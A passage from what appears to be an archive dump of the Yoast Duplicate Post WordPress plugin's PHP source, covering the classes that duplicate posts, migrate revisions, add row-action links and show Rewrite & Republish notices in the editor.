		}
		return $removable_query_args;
	}

	/**
	 * Shows a notice after the Clone link action has succeeded.
	 *
	 * @return void
	 */
	public function add_clone_admin_notice() {
		if ( ! empty( $_REQUEST['cloned'] ) ) {
			if ( ! $this->permissions_helper->is_classic_editor() ) {
				return;
			}

			$copied_posts = \intval( $_REQUEST['cloned'] );
			\printf(
				'<div id="message" class="notice notice-success fade"><p>'
				. \esc_html(
					/* translators: %s: Number of posts copied. */
					\_n(
						'%s item copied.',
						'%s items copied.',
						$copied_posts,
						'duplicate-post'
					)
				) . '</p></div>',
				\esc_html( $copied_posts )
			);
		}
	}

	/**
	 * Shows a notice in Classic editor after the Rewrite & Republish action via link has succeeded.
	 *
	 * @return void
	 */
	public function add_rewrite_and_republish_admin_notice() {
		if ( ! empty( $_REQUEST['rewriting'] ) ) {
			if ( ! $this->permissions_helper->is_classic_editor() ) {
				return;
			}

			print '<div id="message" class="notice notice-warning is-dismissible fade"><p>'
				. \esc_html__(
					'You can now start rewriting your post in this duplicate of the original post. If you click "Republish", your changes will be merged into the original post and you’ll be redirected there.',
					'duplicate-post'
				) . '</p></div>';
		}
	}

	/**
	 * Shows a notice on the Block editor after the Rewrite & Republish action via link has succeeded.
	 *
	 * @return void
	 */
	public function add_rewrite_and_republish_block_editor_notice() {
		if ( ! empty( $_REQUEST['rewriting'] ) ) {
			$notice = [
				'text'          => \wp_slash(
					\__(
						'You can now start rewriting your post in this duplicate of the original post. If you click "Republish", this rewritten post will replace the original post.',
						'duplicate-post'
					)
				),
				'status'        => 'warning',
				'isDismissible' => true,
			];

			\wp_add_inline_script(
				'duplicate_post_edit_script',
				"duplicatePostNotices.rewriting_notice = '" . \wp_json_encode( $notice ) . "';",
				'before'
			);
		}
	}
}
src/watchers/original-post-watcher.php000064400000004414151327062330014113 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Watchers;

use WP_Post;
use Yoast\WP\Duplicate_Post\Permissions_Helper;

/**
 * Duplicate Post Original post watcher class.
 *
 * Watches the original post for changes.
 *
 * @since 4.0
 */
class Original_Post_Watcher {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The Permissions helper object.
	 */
	public function __construct( Permissions_Helper $permissions_helper ) {
		$this->permissions_helper = $permissions_helper;

		$this->register_hooks();
	}

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_notices', [ $this, 'add_admin_notice' ] );
		\add_action( 'enqueue_block_editor_assets', [ $this, 'add_block_editor_notice' ], 11 );
	}

	/**
	 * Generates the translated text for the notice.
	 *
	 * @return string The translated text for the notice.
	 */
	public function get_notice_text() {
		return \__(
			'The original post has been edited in the meantime. If you click "Republish", this rewritten post will replace the original post.',
			'duplicate-post'
		);
	}

	/**
	 * Shows a notice on the Classic editor.
	 *
	 * @return void
	 */
	public function add_admin_notice() {
		if ( ! $this->permissions_helper->is_classic_editor() ) {
			return;
		}

		$post = \get_post();

		if ( ! $post instanceof WP_Post ) {
			return;
		}

		if ( $this->permissions_helper->has_original_changed( $post ) ) {
			print '<div id="message" class="notice notice-warning is-dismissible fade"><p>'
				. \esc_html( $this->get_notice_text() )
				. '</p></div>';
		}
	}

	/**
	 * Shows a notice on the Block editor.
	 *
	 * @return void
	 */
	public function add_block_editor_notice() {
		$post = \get_post();

		if ( ! $post instanceof WP_Post ) {
			return;
		}

		if ( $this->permissions_helper->has_original_changed( $post ) ) {

			$notice = [
				'text'          => \wp_slash( $this->get_notice_text() ),
				'status'        => 'warning',
				'isDismissible' => true,
			];

			\wp_add_inline_script(
				'duplicate_post_edit_script',
				"duplicatePostNotices.has_original_changed_notice = '" . \wp_json_encode( $notice ) . "';",
				'before'
			);
		}
	}
}
src/watchers/copied-post-watcher.php000064400000006255151327062330013557 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Watchers;

use WP_Post;
use Yoast\WP\Duplicate_Post\Permissions_Helper;

/**
 * Duplicate Post class to watch if the current post has a Rewrite & Republish copy.
 */
class Copied_Post_Watcher {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The Permissions helper object.
	 */
	public function __construct( $permissions_helper ) {
		$this->permissions_helper = $permissions_helper;

		$this->register_hooks();
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_notices', [ $this, 'add_admin_notice' ] );
		\add_action( 'enqueue_block_editor_assets', [ $this, 'add_block_editor_notice' ], 11 );
	}

	/**
	 * Generates the translated text for the notice.
	 *
	 * @param WP_Post $post The current post object.
	 *
	 * @return string The translated text for the notice.
	 */
	public function get_notice_text( $post ) {
		if ( $this->permissions_helper->has_trashed_rewrite_and_republish_copy( $post ) ) {
			return \__(
				'You can only make one Rewrite & Republish duplicate at a time, and a duplicate of this post already exists in the trash. Permanently delete it if you want to make a new duplicate.',
				'duplicate-post'
			);
		}

		$scheduled_copy = $this->permissions_helper->has_scheduled_rewrite_and_republish_copy( $post );
		if ( ! $scheduled_copy ) {
			return \__(
				'A duplicate of this post was made. Please note that any changes you make to this post will be replaced when the duplicated version is republished.',
				'duplicate-post'
			);
		}

		return \sprintf(
			/* translators: %1$s: scheduled date of the copy, %2$s: scheduled time of the copy. */
			\__(
				'A duplicate of this post was made, which is scheduled to replace this post on %1$s at %2$s.',
				'duplicate-post'
			),
			\get_the_time( \get_option( 'date_format' ), $scheduled_copy ),
			\get_the_time( \get_option( 'time_format' ), $scheduled_copy )
		);
	}

	/**
	 * Shows a notice on the Classic editor.
	 *
	 * @return void
	 */
	public function add_admin_notice() {
		if ( ! $this->permissions_helper->is_classic_editor() ) {
			return;
		}

		$post = \get_post();

		if ( ! $post instanceof WP_Post ) {
			return;
		}

		if ( $this->permissions_helper->has_rewrite_and_republish_copy( $post ) ) {
			print '<div id="message" class="notice notice-warning is-dismissible fade"><p>'
				. \esc_html( $this->get_notice_text( $post ) )
				. '</p></div>';
		}
	}

	/**
	 * Shows a notice on the Block editor.
	 *
	 * @return void
	 */
	public function add_block_editor_notice() {
		$post = \get_post();

		if ( ! $post instanceof WP_Post ) {
			return;
		}

		if ( $this->permissions_helper->has_rewrite_and_republish_copy( $post ) ) {

			$notice = [
				'text'          => \wp_slash( $this->get_notice_text( $post ) ),
				'status'        => 'warning',
				'isDismissible' => true,
			];

			\wp_add_inline_script(
				'duplicate_post_edit_script',
				"duplicatePostNotices.has_rewrite_and_republish_notice = '" . \wp_json_encode( $notice ) . "';",
				'before'
			);
		}
	}
}
src/watchers/republished-post-watcher.php000064400000005150151327062330014613 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\Watchers;

use Yoast\WP\Duplicate_Post\Permissions_Helper;

/**
 * Duplicate Post class to watch if the post has been republished for Rewrite & Republish.
 *
 * @since 4.0
 */
class Republished_Post_Watcher {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The Permissions helper object.
	 */
	public function __construct( Permissions_Helper $permissions_helper ) {
		$this->permissions_helper = $permissions_helper;

		$this->register_hooks();
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'removable_query_args', [ $this, 'add_removable_query_args' ] );
		\add_action( 'admin_notices', [ $this, 'add_admin_notice' ] );
		\add_action( 'enqueue_block_editor_assets', [ $this, 'add_block_editor_notice' ], 11 );
	}

	/**
	 * Adds vars to the removable query args.
	 *
	 * @param array $removable_query_args Array of query args keys.
	 *
	 * @return array The updated array of query args keys.
	 */
	public function add_removable_query_args( $removable_query_args ) {
		if ( \is_array( $removable_query_args ) ) {
			$removable_query_args[] = 'dprepublished';
			$removable_query_args[] = 'dpcopy';
			$removable_query_args[] = 'dpnonce';
		}
		return $removable_query_args;
	}

	/**
	 * Generates the translated text for the republished notice.
	 *
	 * @return string The translated text for the republished notice.
	 */
	public function get_notice_text() {
		return \__(
			'Your original post has been replaced with the rewritten post. You are now viewing the (rewritten) original post.',
			'duplicate-post'
		);
	}

	/**
	 * Shows a notice on the Classic editor.
	 *
	 * @return void
	 */
	public function add_admin_notice() {
		if ( ! $this->permissions_helper->is_classic_editor() ) {
			return;
		}

		if ( ! empty( $_REQUEST['dprepublished'] ) ) {
			echo '<div id="message" class="notice notice-success is-dismissible"><p>'
				. \esc_html( $this->get_notice_text() )
				. '</p></div>';
		}
	}

	/**
	 * Shows a notice on the Block editor.
	 *
	 * @return void
	 */
	public function add_block_editor_notice() {
		if ( ! empty( $_REQUEST['dprepublished'] ) ) {
			$notice = [
				'text'          => \wp_slash( $this->get_notice_text() ),
				'status'        => 'success',
				'isDismissible' => true,
			];

			\wp_add_inline_script(
				'duplicate_post_edit_script',
				"duplicatePostNotices.republished_notice = '" . \wp_json_encode( $notice ) . "';",
				'before'
			);
		}
	}
}
src/duplicate-post.php000064400000003106151327062330011003 0ustar00<?php

namespace Yoast\WP\Duplicate_Post;

use Yoast\WP\Duplicate_Post\Handlers\Handler;
use Yoast\WP\Duplicate_Post\UI\User_Interface;
use Yoast\WP\Duplicate_Post\Watchers\Watchers;

/**
 * Duplicate Post main class.
 *
 * @since 4.0
 */
class Duplicate_Post {

	/**
	 * Permissions_Helper object.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * User_Interface object.
	 *
	 * @var User_Interface
	 */
	protected $user_interface;

	/**
	 * Post_Duplicator object.
	 *
	 * @var Post_Duplicator
	 */
	protected $post_duplicator;

	/**
	 * Handler object.
	 *
	 * @var Handler
	 */
	protected $handler;

	/**
	 * Post_Republisher object.
	 *
	 * @var Post_Republisher
	 */
	protected $post_republisher;

	/**
	 * Revisions_Migrator object.
	 *
	 * @var Revisions_Migrator
	 */
	protected $revisions_migrator;

	/**
	 * Watchers object.
	 *
	 * @var Watchers
	 */
	protected $watchers;

	/**
	 * Initializes the main class.
	 */
	public function __construct() {
		$this->permissions_helper = new Permissions_Helper();
		$this->user_interface     = new User_Interface( $this->permissions_helper );
		$this->post_duplicator    = new Post_Duplicator();
		$this->handler            = new Handler( $this->post_duplicator, $this->permissions_helper );
		$this->post_republisher   = new Post_Republisher( $this->post_duplicator, $this->permissions_helper );
		$this->revisions_migrator = new Revisions_Migrator();
		$this->watchers           = new Watchers( $this->permissions_helper );

		$this->post_republisher->register_hooks();
		$this->revisions_migrator->register_hooks();
	}
}
src/revisions-migrator.php000064400000003536151327062330011720 0ustar00<?php

namespace Yoast\WP\Duplicate_Post;

/**
 * Duplicate Post class to migrate revisions from the Rewrite & Republish copy to the original post.
 *
 * @since 4.0
 */
class Revisions_Migrator {

	/**
	 * Adds hooks to integrate with the Post Republisher class.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'duplicate_post_after_rewriting', [ $this, 'migrate_revisions' ], 10, 2 );
	}

	/**
	 * Updates the revisions of the Rewrite & Republish copy to make them revisions of the original.
	 *
	 * It mimics the behaviour of wp_save_post_revision() in wp-includes/revision.php
	 * by deleting the revisions (except autosaves) exceeding the maximum allowed number.
	 *
	 * @param int $copy_id     The copy's ID.
	 * @param int $original_id The post's ID.
	 *
	 * @return void
	 */
	public function migrate_revisions( $copy_id, $original_id ) {
		$copy          = \get_post( $copy_id );
		$original_post = \get_post( $original_id );

		if ( \is_null( $copy ) || \is_null( $original_post ) || ! \wp_revisions_enabled( $original_post ) ) {
			return;
		}

		$copy_revisions = \wp_get_post_revisions( $copy );
		foreach ( $copy_revisions as $revision ) {
			$revision->post_parent = $original_post->ID;
			$revision->post_name   = "$original_post->ID-revision-v1";
			\wp_update_post( $revision );
		}

		$revisions_to_keep = \wp_revisions_to_keep( $original_post );
		if ( $revisions_to_keep < 0 ) {
			return;
		}

		$revisions = \wp_get_post_revisions( $original_post, [ 'order' => 'ASC' ] );
		$delete    = ( \count( $revisions ) - $revisions_to_keep );
		if ( $delete < 1 ) {
			return;
		}

		$revisions = \array_slice( $revisions, 0, $delete );

		for ( $i = 0; isset( $revisions[ $i ] ); $i++ ) {
			if ( \strpos( $revisions[ $i ]->post_name, 'autosave' ) !== false ) {
				continue;
			}
			\wp_delete_post_revision( $revisions[ $i ]->ID );
		}
	}
}
src/post-duplicator.php000064400000030044151327062330011200 0ustar00<?php

namespace Yoast\WP\Duplicate_Post;

use WP_Error;
use WP_Post;

/**
 * Duplicate Post class to create copies.
 *
 * @since 4.0
 */
class Post_Duplicator {

	/**
	 * Returns an array with the default option values.
	 *
	 * @return array The default options values.
	 */
	public function get_default_options() {
		return [
			'copy_title'             => true,
			'copy_date'              => false,
			'copy_status'            => false,
			'copy_name'              => false,
			'copy_excerpt'           => true,
			'copy_content'           => true,
			'copy_thumbnail'         => true,
			'copy_template'          => true,
			'copy_format'            => true,
			'copy_author'            => false,
			'copy_password'          => false,
			'copy_attachments'       => false,
			'copy_children'          => false,
			'copy_comments'          => false,
			'copy_menu_order'        => true,
			'title_prefix'           => '',
			'title_suffix'           => '',
			'increase_menu_order_by' => null,
			'parent_id'              => null,
			'meta_excludelist'       => [],
			'taxonomies_excludelist' => [],
			'use_filters'            => true,
		];
	}

	/**
	 * Creates a copy of a post object, accordingly to an options array.
	 *
	 * @param WP_Post $post    The original post object.
	 * @param array   $options The options overriding the default ones.
	 *
	 * @return int|WP_Error The copy ID, or a WP_Error object on failure.
	 */
	public function create_duplicate( WP_Post $post, array $options = [] ) {
		$defaults = $this->get_default_options();
		$options  = \wp_parse_args( $options, $defaults );

		$title           = '';
		$new_post_status = $post->post_status;
		if ( $post->post_type !== 'attachment' ) {
			$title           = $this->generate_copy_title( $post, $options );
			$new_post_status = $this->generate_copy_status( $post, $options );
		}

		$new_post_author_id = $this->generate_copy_author( $post, $options );

		$menu_order = 0;
		if ( $options['copy_menu_order'] ) {
			$menu_order = $post->menu_order;
		}

		if ( ! empty( $options['increase_menu_order_by'] ) && \is_numeric( $options['increase_menu_order_by'] ) ) {
			$menu_order += \intval( $options['increase_menu_order_by'] );
		}

		$new_post = [
			'post_author'           => $new_post_author_id,
			'post_content'          => ( $options['copy_content'] ) ? $post->post_content : '',
			'post_content_filtered' => ( $options['copy_content'] ) ? $post->post_content_filtered : '',
			'post_title'            => $title,
			'post_excerpt'          => ( $options['copy_excerpt'] ) ? $post->post_excerpt : '',
			'post_status'           => $new_post_status,
			'post_type'             => $post->post_type,
			'comment_status'        => $post->comment_status,
			'ping_status'           => $post->ping_status,
			'post_password'         => ( $options['copy_password'] ) ? $post->post_password : '',
			'post_name'             => ( $options['copy_name'] ) ? $post->post_name : '',
			'post_parent'           => empty( $options['parent_id'] ) ? $post->post_parent : $options['parent_id'],
			'menu_order'            => $menu_order,
			'post_mime_type'        => $post->post_mime_type,
		];

		if ( $options['copy_date'] ) {
			$new_post_date             = $post->post_date;
			$new_post['post_date']     = $new_post_date;
			$new_post['post_date_gmt'] = \get_gmt_from_date( $new_post_date );
			\add_filter( 'wp_insert_post_data', [ $this, 'set_modified' ], 1, 1 );
		}

		if ( $options['use_filters'] ) {
			/**
			 * Filter new post values.
			 *
			 * @param array   $new_post New post values.
			 * @param WP_Post $post     Original post object.
			 *
			 * @return array
			 */
			$new_post = \apply_filters( 'duplicate_post_new_post', $new_post, $post );
		}

		$new_post_id = \wp_insert_post( \wp_slash( $new_post ), true );

		if ( $options['copy_date'] ) {
			\remove_filter( 'wp_insert_post_data', [ $this, 'set_modified' ], 1 );
		}

		if ( ! \is_wp_error( $new_post_id ) ) {
			\delete_post_meta( $new_post_id, '_dp_original' );
			\add_post_meta( $new_post_id, '_dp_original', $post->ID );
		}

		return $new_post_id;
	}

	/**
	 * Modifies the post data to set the modified date to now.
	 *
	 * This is needed for the Block editor when a post is copied with its date,
	 * so that the current publish date is shown instead of "Immediately".
	 *
	 * @param array $data The array of post data.
	 *
	 * @return array The updated array of post data.
	 */
	public function set_modified( $data ) {
		$data['post_modified']     = \current_time( 'mysql' );
		$data['post_modified_gmt'] = \current_time( 'mysql', 1 );

		return $data;
	}

	/**
	 * Wraps the function to create a copy for the Rewrite & Republish feature.
	 *
	 * @param WP_Post $post The original post object.
	 *
	 * @return int|WP_Error The copy ID, or a WP_Error object on failure.
	 */
	public function create_duplicate_for_rewrite_and_republish( WP_Post $post ) {
		$options  = [
			'copy_title'      => true,
			'copy_date'       => true,
			'copy_name'       => false,
			'copy_content'    => true,
			'copy_excerpt'    => true,
			'copy_author'     => true,
			'copy_menu_order' => true,
			'use_filters'     => false,
		];
		$defaults = $this->get_default_options();
		$options  = \wp_parse_args( $options, $defaults );

		$new_post_id = $this->create_duplicate( $post, $options );

		if ( ! \is_wp_error( $new_post_id ) ) {
			$this->copy_post_taxonomies( $new_post_id, $post, $options );
			$this->copy_post_meta_info( $new_post_id, $post, $options );

			\update_post_meta( $new_post_id, '_dp_is_rewrite_republish_copy', 1 );
			\update_post_meta( $post->ID, '_dp_has_rewrite_republish_copy', $new_post_id );
			\update_post_meta( $new_post_id, '_dp_creation_date_gmt', \current_time( 'mysql', 1 ) );
		}

		return $new_post_id;
	}

	/**
	 * Copies the taxonomies of a post to another post.
	 *
	 * @param int     $new_id  New post ID.
	 * @param WP_Post $post    The original post object.
	 * @param array   $options The options array.
	 *
	 * @return void
	 */
	public function copy_post_taxonomies( $new_id, $post, $options ) {
		// Clear default category (added by wp_insert_post).
		\wp_set_object_terms( $new_id, null, 'category' );

		$post_taxonomies = \get_object_taxonomies( $post->post_type );
		// Several plugins just add support to post-formats but don't register post_format taxonomy.
		if ( \post_type_supports( $post->post_type, 'post-formats' ) && ! \in_array( 'post_format', $post_taxonomies, true ) ) {
			$post_taxonomies[] = 'post_format';
		}

		$taxonomies_excludelist = $options['taxonomies_excludelist'];
		if ( ! \is_array( $taxonomies_excludelist ) ) {
			$taxonomies_excludelist = [];
		}

		if ( ! $options['copy_format'] ) {
			$taxonomies_excludelist[] = 'post_format';
		}

		if ( $options['use_filters'] ) {
			/**
			 * Filters the taxonomy excludelist when copying a post.
			 *
			 * @param array $taxonomies_excludelist The taxonomy excludelist from the options.
			 *
			 * @return array
			 */
			$taxonomies_excludelist = \apply_filters( 'duplicate_post_taxonomies_excludelist_filter', $taxonomies_excludelist );
		}

		$post_taxonomies = \array_diff( $post_taxonomies, $taxonomies_excludelist );

		foreach ( $post_taxonomies as $taxonomy ) {
			$post_terms = \wp_get_object_terms( $post->ID, $taxonomy, [ 'orderby' => 'term_order' ] );
			$terms      = [];
			$num_terms  = \count( $post_terms );
			for ( $i = 0; $i < $num_terms; $i++ ) {
				$terms[] = $post_terms[ $i ]->slug;
			}
			\wp_set_object_terms( $new_id, $terms, $taxonomy );
		}
	}

	/**
	 * Copies the meta information of a post to another post.
	 *
	 * @param int     $new_id  The new post ID.
	 * @param WP_Post $post    The original post object.
	 * @param array   $options The options array.
	 *
	 * @return void
	 */
	public function copy_post_meta_info( $new_id, $post, $options ) {
		$post_meta_keys = \get_post_custom_keys( $post->ID );
		if ( empty( $post_meta_keys ) ) {
			return;
		}
		$meta_excludelist = $options['meta_excludelist'];
		if ( ! \is_array( $meta_excludelist ) ) {
			$meta_excludelist = [];
		}
		$meta_excludelist = \array_merge( $meta_excludelist, Utils::get_default_filtered_meta_names() );
		if ( ! $options['copy_template'] ) {
			$meta_excludelist[] = '_wp_page_template';
		}
		if ( ! $options['copy_thumbnail'] ) {
			$meta_excludelist[] = '_thumbnail_id';
		}

		if ( $options['use_filters'] ) {
			/**
			 * Filters the meta fields excludelist when copying a post.
			 *
			 * @param array $meta_excludelist The meta fields excludelist from the options.
			 *
			 * @return array
			 */
			$meta_excludelist = \apply_filters( 'duplicate_post_excludelist_filter', $meta_excludelist );
		}

		$meta_excludelist_string = '(' . \implode( ')|(', $meta_excludelist ) . ')';
		if ( \strpos( $meta_excludelist_string, '*' ) !== false ) {
			$meta_excludelist_string = \str_replace( [ '*' ], [ '[a-zA-Z0-9_]*' ], $meta_excludelist_string );

			$meta_keys = [];
			foreach ( $post_meta_keys as $meta_key ) {
				if ( ! \preg_match( '#^' . $meta_excludelist_string . '$#', $meta_key ) ) {
					$meta_keys[] = $meta_key;
				}
			}
		}
		else {
			$meta_keys = \array_diff( $post_meta_keys, $meta_excludelist );
		}

		if ( $options['use_filters'] ) {
			/**
			 * Filters the list of meta fields names when copying a post.
			 *
			 * @param array $meta_keys The list of meta fields name, with the ones in the excludelist already removed.
			 *
			 * @return array
			 */
			$meta_keys = \apply_filters( 'duplicate_post_meta_keys_filter', $meta_keys );
		}

		foreach ( $meta_keys as $meta_key ) {
			$meta_values = \get_post_custom_values( $meta_key, $post->ID );

			// Clear existing meta data so that add_post_meta() works properly with non-unique keys.
			\delete_post_meta( $new_id, $meta_key );

			foreach ( $meta_values as $meta_value ) {
				$meta_value = \maybe_unserialize( $meta_value );
				\add_post_meta( $new_id, $meta_key, Utils::recursively_slash_strings( $meta_value ) );
			}
		}
	}

	/**
	 * Generates and returns the title for the copy.
	 *
	 * @param WP_Post $post    The original post object.
	 * @param array   $options The options array.
	 *
	 * @return string The calculated title for the copy.
	 */
	public function generate_copy_title( WP_Post $post, array $options ) {
		$prefix = \sanitize_text_field( $options['title_prefix'] );
		$suffix = \sanitize_text_field( $options['title_suffix'] );
		if ( $options['copy_title'] ) {
			$title = $post->post_title;
			if ( ! empty( $prefix ) ) {
				$prefix .= ' ';
			}
			if ( ! empty( $suffix ) ) {
				$suffix = ' ' . $suffix;
			}
		}
		else {
			$title = '';
		}
		return \trim( $prefix . $title . $suffix );
	}

	/**
	 * Generates and returns the status for the copy.
	 *
	 * @param WP_Post $post    The original post object.
	 * @param array   $options The options array.
	 *
	 * @return string The calculated status for the copy.
	 */
	public function generate_copy_status( WP_Post $post, array $options ) {
		$new_post_status = 'draft';

		if ( $options['copy_status'] ) {
			$new_post_status = $post->post_status;
			if ( $new_post_status === 'publish' || $new_post_status === 'future' ) {
				// Check if the user has the right capability.
				if ( \is_post_type_hierarchical( $post->post_type ) ) {
					if ( ! \current_user_can( 'publish_pages' ) ) {
						$new_post_status = 'pending';
					}
				}
				elseif ( ! \current_user_can( 'publish_posts' ) ) {
					$new_post_status = 'pending';
				}
			}
		}

		return $new_post_status;
	}

	/**
	 * Generates and returns the author ID for the copy.
	 *
	 * @param WP_Post $post    The original post object.
	 * @param array   $options The options array.
	 *
	 * @return int|string The calculated author ID for the copy.
	 */
	public function generate_copy_author( WP_Post $post, array $options ) {
		$new_post_author    = \wp_get_current_user();
		$new_post_author_id = $new_post_author->ID;
		if ( $options['copy_author'] ) {
			// Check if the user has the right capability.
			if ( \is_post_type_hierarchical( $post->post_type ) ) {
				if ( \current_user_can( 'edit_others_pages' ) ) {
					$new_post_author_id = $post->post_author;
				}
			}
			elseif ( \current_user_can( 'edit_others_posts' ) ) {
				$new_post_author_id = $post->post_author;
			}
		}

		return $new_post_author_id;
	}
}
src/ui/row-actions.php000064400000011077151327062330010736 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\UI;

use WP_Post;
use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post class to manage the row actions.
 */
class Row_Actions {

	/**
	 * Holds the object to create the action link to duplicate.
	 *
	 * @var Link_Builder
	 */
	protected $link_builder;

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Link_Builder       $link_builder       The link builder.
	 * @param Permissions_Helper $permissions_helper The permissions helper.
	 */
	public function __construct( Link_Builder $link_builder, Permissions_Helper $permissions_helper ) {
		$this->link_builder       = $link_builder;
		$this->permissions_helper = $permissions_helper;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( \intval( Utils::get_option( 'duplicate_post_show_link_in', 'row' ) ) === 0 ) {
			return;
		}

		if ( \intval( Utils::get_option( 'duplicate_post_show_link', 'clone' ) ) === 1 ) {
			\add_filter( 'post_row_actions', [ $this, 'add_clone_action_link' ], 10, 2 );
			\add_filter( 'page_row_actions', [ $this, 'add_clone_action_link' ], 10, 2 );
		}

		if ( \intval( Utils::get_option( 'duplicate_post_show_link', 'new_draft' ) ) === 1 ) {
			\add_filter( 'post_row_actions', [ $this, 'add_new_draft_action_link' ], 10, 2 );
			\add_filter( 'page_row_actions', [ $this, 'add_new_draft_action_link' ], 10, 2 );
		}

		if ( \intval( Utils::get_option( 'duplicate_post_show_link', 'rewrite_republish' ) ) === 1 ) {
			\add_filter( 'post_row_actions', [ $this, 'add_rewrite_and_republish_action_link' ], 10, 2 );
			\add_filter( 'page_row_actions', [ $this, 'add_rewrite_and_republish_action_link' ], 10, 2 );
		}
	}

	/**
	 * Hooks in the `post_row_actions` and `page_row_actions` filters to add a 'Clone' link.
	 *
	 * @param array   $actions The array of actions from the filter.
	 * @param WP_Post $post    The post object.
	 *
	 * @return array The updated array of actions.
	 */
	public function add_clone_action_link( $actions, $post ) {
		if ( ! $post instanceof WP_Post
			|| ! $this->permissions_helper->should_links_be_displayed( $post )
			|| ! \is_array( $actions ) ) {
			return $actions;
		}

		$title = \_draft_or_post_title( $post );

		$actions['clone'] = '<a href="' . $this->link_builder->build_clone_link( $post->ID )
			. '" aria-label="' . \esc_attr(
				/* translators: %s: Post title. */
				\sprintf( \__( 'Clone &#8220;%s&#8221;', 'duplicate-post' ), $title )
			) . '">'
			. \esc_html_x( 'Clone', 'verb', 'duplicate-post' ) . '</a>';

		return $actions;
	}

	/**
	 * Hooks in the `post_row_actions` and `page_row_actions` filters to add a 'New Draft' link.
	 *
	 * @param array   $actions The array of actions from the filter.
	 * @param WP_Post $post    The post object.
	 *
	 * @return array The updated array of actions.
	 */
	public function add_new_draft_action_link( $actions, $post ) {
		if ( ! $post instanceof WP_Post
			|| ! $this->permissions_helper->should_links_be_displayed( $post )
			|| ! \is_array( $actions ) ) {
			return $actions;
		}

		$title = \_draft_or_post_title( $post );

		$actions['edit_as_new_draft'] = '<a href="' . $this->link_builder->build_new_draft_link( $post->ID )
			. '" aria-label="' . \esc_attr(
				/* translators: %s: Post title. */
				\sprintf( \__( 'New draft of &#8220;%s&#8221;', 'duplicate-post' ), $title )
			) . '">'
			. \esc_html__( 'New Draft', 'duplicate-post' )
			. '</a>';

		return $actions;
	}

	/**
	 * Hooks in the `post_row_actions` and `page_row_actions` filters to add a 'Rewrite & Republish' link.
	 *
	 * @param array   $actions The array of actions from the filter.
	 * @param WP_Post $post    The post object.
	 *
	 * @return array The updated array of actions.
	 */
	public function add_rewrite_and_republish_action_link( $actions, $post ) {
		if (
			! $post instanceof WP_Post
			|| ! $this->permissions_helper->should_rewrite_and_republish_be_allowed( $post )
			|| ! $this->permissions_helper->should_links_be_displayed( $post )
			|| ! \is_array( $actions )
		) {
			return $actions;
		}

		$title = \_draft_or_post_title( $post );

		$actions['rewrite'] = '<a href="' . $this->link_builder->build_rewrite_and_republish_link( $post->ID )
			. '" aria-label="' . \esc_attr(
				/* translators: %s: Post title. */
				\sprintf( \__( 'Rewrite & Republish &#8220;%s&#8221;', 'duplicate-post' ), $title )
			) . '">'
			. \esc_html_x( 'Rewrite & Republish', 'verb', 'duplicate-post' ) . '</a>';

		return $actions;
	}
}
src/ui/user-interface.php000064400000005542151327062330011405 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\UI;

use Yoast\WP\Duplicate_Post\Permissions_Helper;

/**
 * Duplicate Post user interface.
 */
class User_Interface {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Holds the object to manage the row actions for the post.
	 *
	 * @var Row_Actions
	 */
	protected $row_actions;

	/**
	 * Holds the object to manage the classic editor UI.
	 *
	 * @var Classic_Editor
	 */
	protected $classic_editor;

	/**
	 * Holds the object to manage the block editor UI.
	 *
	 * @var Block_Editor
	 */
	protected $block_editor;

	/**
	 * Holds the object to manage the admin bar links.
	 *
	 * @var Admin_Bar
	 */
	protected $admin_bar;

	/**
	 * Holds the object to manage the bulk actions dropdown.
	 *
	 * @var Bulk_Actions
	 */
	protected $bulk_actions;

	/**
	 * Post states object.
	 *
	 * @var Post_States
	 */
	protected $post_states;

	/**
	 * Metabox object.
	 *
	 * @var Metabox
	 */
	protected $metabox;

	/**
	 * Newsletter object.
	 *
	 * @var Newsletter
	 */
	protected $newsletter;

	/**
	 * Column object.
	 *
	 * @var Column
	 */
	protected $column;

	/**
	 * Holds the object to create the action link to duplicate.
	 *
	 * @var Link_Builder
	 */
	protected $link_builder;

	/**
	 * Holds the object to create the action link to duplicate.
	 *
	 * @var Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The permissions helper object.
	 */
	public function __construct( Permissions_Helper $permissions_helper ) {
		$this->permissions_helper = $permissions_helper;
		$this->link_builder       = new Link_Builder();
		$this->asset_manager      = new Asset_Manager();
		$this->asset_manager->register_hooks();

		$this->admin_bar      = new Admin_Bar( $this->link_builder, $this->permissions_helper, $this->asset_manager );
		$this->block_editor   = new Block_Editor( $this->link_builder, $this->permissions_helper, $this->asset_manager );
		$this->bulk_actions   = new Bulk_Actions( $this->permissions_helper );
		$this->column         = new Column( $this->permissions_helper, $this->asset_manager );
		$this->metabox        = new Metabox( $this->permissions_helper );
		$this->newsletter     = new Newsletter();
		$this->post_states    = new Post_States( $this->permissions_helper );
